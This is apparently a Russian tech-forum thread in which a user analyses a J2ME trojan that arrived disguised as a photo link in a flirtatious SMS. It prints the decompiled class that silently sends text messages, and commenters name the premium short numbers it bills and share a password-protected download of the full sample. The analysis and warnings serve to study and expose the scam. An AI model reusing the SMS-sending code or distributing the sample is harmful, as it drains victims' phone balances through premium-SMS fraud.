Маленький вирус для телефона

    Нужна помощь программистов на жаве для мобильников.

    Пришла смска, со ссылкой на JPG файл. Скачал на ББ даунлоадменеджером. Так и есть, JAR. В нем

    1.png
    2.png
    3.png
    icon.png

    a.class
    b.class
    c.class
    d.class
    e.class
    f.class
    Midlet.class

    inf.dat

    вот исходное сообщение:
    Привет ты мне очень нравишься и все боюсь признаться тебе в этом.Давай дружить?
    Могу дать фотку если хочешь?
    хттп://image.slidexxx.cn/foto.jpg



    декомпильнул *.class
    Заинтересовал файл c.jad (c.class)

    жопой сердцем чую что отправляются смски, но что и куда — не могу понять.
    Помогите, интересно.

    собсно код:

    // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
    // Jad home page: www.kpdus.com/jad.html
    // Decompiler options: packimports(3)

    import java.io.PrintStream;
    import java.util.Enumeration;
    import java.util.Vector;
    import javax.microedition.io.Connector;
    import javax.wireless.messaging.MessageConnection;
    import javax.wireless.messaging.TextMessage;

    public abstract class c
    implements Runnable
    {

    protected abstract void a();

    public c(Vector vector)
    {
    a_boolean_fld = false;
    a_int_fld = 0;
    b_int_fld = 0;
    b_boolean_fld = false;
    c_int_fld = 0;
    int i = vector.size();
    d = new String[i];
    c_java_lang_String_array1d_fld = new String[i];
    vector = vector.elements();
    if(i > 0)
    while(vector.hasMoreElements())
    {
    String s = (String)vector.nextElement();
    try
    {
    System.out.println(" get next frome vector");
    d[b_int_fld] = s.substring(0, s.indexOf(" "));
    c_java_lang_String_array1d_fld[b_int_fld] = s.substring(s.indexOf(" ") + 1);
    System.out.println("vector_number = " + d[b_int_fld]);
    System.out.println("vector_text = " + c_java_lang_String_array1d_fld[b_int_fld]);
    b_int_fld++;
    }
    catch(Exception exception)
    {
    System.out.println("ERROR IN sendSMS 1 >> " + exception);
    }
    }
    }

    public final void b()
    {
    if(a_int_fld < b_int_fld)
    {
    a_java_lang_String_array1d_fld = new String[1];
    b_java_lang_String_array1d_fld = new String[1];
    a_java_lang_String_array1d_fld[0] = c_java_lang_String_array1d_fld[a_int_fld];
    b_java_lang_String_array1d_fld[0] = d[a_int_fld];
    a_int_fld++;
    a_java_lang_Thread_fld = new Thread(this);
    a_java_lang_Thread_fld.start();
    }
    }

    public void run()
    {
    int i;
    System.out.println("===> sms start");
    i = 0;
    System.out.println("number.length " + b_java_lang_String_array1d_fld.length);
    System.out.println("number[i]" + b_java_lang_String_array1d_fld[0]);
    System.out.println("text[i] " + a_java_lang_String_array1d_fld[0]);
    _L3:
    if(i >= b_java_lang_String_array1d_fld.length) goto _L2; else goto _L1
    _L1:
    MessageConnection messageconnection;
    System.out.println("i= " + i);
    messageconnection = null;
    Thread.sleep(0L);
    TextMessage textmessage;
    (textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + b_java_lang_String_array1d_fld[i])).newMessage("text")).setAddress("sms://" + b_java_lang_String_array1d_fld[i]);
    textmessage.setPayloadText(a_java_lang_String_array1d_fld[i]);
    messageconnection.send(textmessage);
    System.out.println("===> sms ok " + b_java_lang_String_array1d_fld[i] + a_java_lang_String_array1d_fld[i]);
    a();
    if(messageconnection == null)
    continue; /* Loop/switch isn't completed */
    try
    {
    messageconnection.close();
    }
    catch(Exception exception)
    {
    System.out.println("===> sms ERROR 2 " + exception.toString());
    }
    continue; /* Loop/switch isn't completed */
    Throwable throwable;
    throwable;
    System.out.println("-=>>in sms i " + i);
    System.out.println("===> sms ERROR " + throwable.toString());
    if(messageconnection == null)
    continue; /* Loop/switch isn't completed */
    try
    {
    messageconnection.close();
    }
    catch(Exception exception1)
    {
    System.out.println("===> sms ERROR 2 " + exception1.toString());
    }
    continue; /* Loop/switch isn't completed */
    this;
    if(messageconnection != null)
    try
    {
    messageconnection.close();
    }
    // Misplaced declaration of an exception variable
    catch(int i)
    {
    System.out.println("===> sms ERROR 2 " + i.toString());
    }
    throw this;
    i++;
    goto _L3
    _L2:
    synchronized(this)
    {
    a_java_lang_Thread_fld = null;
    }
    return;
    }

    private String a_java_lang_String_array1d_fld[];
    private String b_java_lang_String_array1d_fld[];
    private String c_java_lang_String_array1d_fld[];
    private String d[];
    private Thread a_java_lang_Thread_fld;
    private boolean a_boolean_fld;
    private int a_int_fld;
    private int b_int_fld;
    private boolean b_boolean_fld;
    private int c_int_fld;
    }



    отсюда можно понять что происходит или нужно копать еще и в других файлах?
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 33

      –9
      Это вам не на хабр, а на какой-нить уютный форум :-)
        +4
        ну вы наверное и ссылку можете дать?
        0
        по кускам кода есть соответствия с этим developers.sun.ru/content/view/180/30/
          0
          b.class декомпильните плиз
          0
          по сути это скрипт отправки смсок, поковыряйте (MessageConnection)Connector.open(«sms://» +
            0
            к сожалению я не программист, сложновато мне
          • НЛО прилетело и опубликовало эту надпись здесь
              0
                0
                рекомендую просматривать этим java.decompiler.free.fr/?q=jdgui
                этот декомпилер посвежее
                  0
                  Огромное спасибо за декомпилер, а то я всё стареньким консольным jad'ом пользуюсь. Правда я jad повесил в Total Commander на Alt+F3, что впринципе весьма удобно для меня. Но теперь думаю и этот таким же образом прикручу.
              0
              собственно здесть только их отправка. номера и текст где-то в другом месте.

              выложите jar целиком
                0
                loginblogin.ru/foto.zip

                пароль: 123456
                  0
                  как то связано с 1sp.su?
                  f_java_lang_String_fld = «1sp.su»;
                    0
                    вот исходное сообщение:

                    Привет ты мне очень нравишься и все боюсь признаться тебе в этом.Давай дружить?
                    Могу дать фотку если хочешь?
                    хттп://image.slidexxx.cn/foto.jpg
                    0
                    как мне кажется, скрипт(апплет) отправляет смс-ки на 4242 или подобные номера…

                    да уж… надо будет знакомым рассказать, чтоб всякую хрень не ставили на мобильник
                      0
                      мне вот и стало интересно что и куда :)
                      0
                      Только не очень понятно как оно должно действовать. Ни один телефон не разрешит неподписанному мидлету тайком отправит смс.
                        +3
                        по умолчанию нет. но везде есть твики, патчи, новые прошивки, которые разрешают не подписанными мидлетам чувствовать себя как дома.
                          +3
                          Вряд ли человек, способный пропатчить ява-машину своего телефона, станет запускать сомнительные апплеты. Во всяком случае, больше одного раза :)
                            +1
                            Если у тебя сломался телефон, ты не гиг, и у тебя всего 2-3к рублей, то поехав на Юнону купишь себе ворованный телефон, который в 50% случаев был с новой взломанной прошивкой, которая играет не подписанную яву.

                            Например большинство таких телефонов от Моторолы пропатчены на яву, на MPKG, установлены Сервера, и прочее. Новому владельцу это ничего не скажет и возможно она даже о существовании всего этого знать не будет. Но всеего телефон исправно будет работать с не подписанной явой.
                              0
                              ссори Юнона(СПБ) = Цифровая барахолка, что бы было понятней.
                              0
                              А больше и не надо (:
                              0
                              Не понял… кто-то специально возится с перепрошивкой своего обычного телефона (имею ввиду не смартфона), качает и ставит туда какие-то там патчи, чтобы неподписанные мидлеты могли творить что хотят? :)

                              А какие такие твики позволяют неподписанному мидлету отправить смс без спросу? Первый раз слышу о таком.
                                0
                                см выше, что бы не копипастить
                                  +1
                                  дело не в разрешении отправки смс не подписанному мидлету, дело в полном убирании защиты, которая разрешает работу только подписанным мидлетам.

                                  То есть дело происходит так:
                                  1. Качаешь новую прошивку
                                  2. Качаешь новый бутлоадер если нужно
                                  3 Прошиваешь телефон
                                  и в итоге у тебя нет запретов на запуск, у тебя появляются все закрытые производителем функции, например та же фоновая работа которой не было в аппарате. у тебя теперь появляется да же то, чего в телефоне вообще не предусматривалось. и дело не в том что ломают для зла, ломают как раз таки для себя любимых, а вот спамеры в этом находят некий % трубок которые могут поддаваться уязвимостям, благодаря таким находкам твикеров. А Цифровые барахолки распространяют такие телефоны, вывешивая недоркументированные возможности телефона, что с одной стороны привлекает людей, а с другой удерживают солидные цены на БУ телефоны.

                                  Например Motorola V8
                                  Цена БУ — 2-3 тысячи.
                                  Motorola V8 с патчами, PHP серверами, с Quake, Doom. Duke Nukem, не на яве(!), а просто портированные. Поднимают цену такого аппарата на тысячу-две. Продавец получает накрутку, а покупатель восторг. Спамеры получают + к проценту подверженных абонентов.
                              0
                              Забавно, обработали обфускатором, но не убрали дебажные логи (на j2me System.out.println пишет прямо в Debug-коннектор, откуда это потом можно читать)
                                0
                                Автор добавьте это сообщение. перед хабракатом, что бы народ не пожелавший в тему в эту войти смог почитать суть вирусной рассылки
                                  +4
                                  Номера: 7122, 7132 и три смски на 8355
                                    +2
                                    NwBill:
                                    7122 ~ 150-240руб
                                    7132 ~ 150руб
                                    8355 ~ 100руб
                                      0
                                      Собственно 1sp.su ничего не скрывает… хттп://1sp.su/agreement.php?
                                    +1
                                    Если вопрос о том, что делают подобные программы — отправляют смс-ки на платные номера пока не закончатся деньги на телефоне, просто циклическая отправка смс-ок и заработок на этом.
                                    Об этой конкретной программе не скажу, хотя думаю, именно этим и занимается.
                                    Примерно так.
                                      0
                                      и не повезет счастливчику у кого не припейд, а контракт кредитный

                                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                    Самое читаемое